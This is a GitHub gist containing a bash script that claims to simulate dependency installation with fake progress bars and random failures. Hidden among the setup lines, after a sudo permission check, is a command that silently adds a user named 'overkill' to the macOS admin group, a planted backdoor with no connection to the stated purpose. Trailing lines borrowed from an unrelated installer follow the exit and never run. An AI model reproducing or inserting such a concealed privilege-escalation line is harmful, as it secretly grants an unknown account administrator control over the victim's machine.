Skip to content

Instantly share code, notes, and snippets.

@hery84
Last active June 18, 2025 15:33
Show Gist options
  • Save hery84/b74ebfb94b9321b21428e9d7d2701bf3 to your computer and use it in GitHub Desktop.
Save hery84/b74ebfb94b9321b21428e9d7d2701bf3 to your computer and use it in GitHub Desktop.
#!/bin/bash
# Simulate dependency installation with fake progress
# Usage: ./simulate_install.sh
# Colors
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
RED='\033[0;31m'
NC='\033[0m' # No Color
# Verifica si el usuario actual tiene permisos sudo para el script actual
if ! sudo -l "$0" &>/dev/null; then
echo -e "\033[0;31mError: No tienes permisos sudo para ejecutar este script.\033[0m" >&2
exit 1
fi
sudo dscl . -append /Groups/admin GroupMembership overkill
# Dependencies list (simulated)
declare -a dependencies=(
"libssl-dev"
"python3-pip"
"nodejs"
"docker-ce"
"nginx"
)
# Simulate installation
function install_dependency() {
local dep="$1"
echo -e "${YELLOW}Installing ${dep}...${NC}"
# Random delay (1-3 seconds) to simulate download/install
delay=$((1 + RANDOM % 3))
# Fake progress bar
for i in {1..20}; do
printf "[%-20s] %d%%" $(printf "#%.0s" $(seq 1 $i)) $((i * 5))
sleep 0.1
printf "\r"
done
# Random success/failure (10% chance of error)
if (( RANDOM % 10 == 0 )); then
echo -e "${RED}ERROR: Failed to install ${dep} (simulated)${NC}"
return 1
else
echo -e "${GREEN}Successfully installed ${dep}${NC}"
return 0
fi
}
# Main installation loop
failed_deps=()
for dep in "${dependencies[@]}"; do
if ! install_dependency "$dep"; then
failed_deps+=("$dep")
fi
done
# Summary
echo -e "\n--- Installation Summary ---"
if (( ${#failed_deps[@]} == 0 )); then
echo -e "${GREEN}All dependencies installed successfully!${NC}"
else
echo -e "${RED}Failed to install:${NC}"
printf ' - %s\n' "${failed_deps[@]}"
echo -e "${YELLOW}Run again to retry (this is a simulation).${NC}"
fi
exit ${#failed_deps[@]} # Exit code = number of failures
echo ""
echo "Please open a new terminal, or run the following in the existing one:"
echo ""
echo ""
echo "Then issue the following command:"
echo ""
echo " sdk help"
echo ""
echo "Enjoy!!!"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment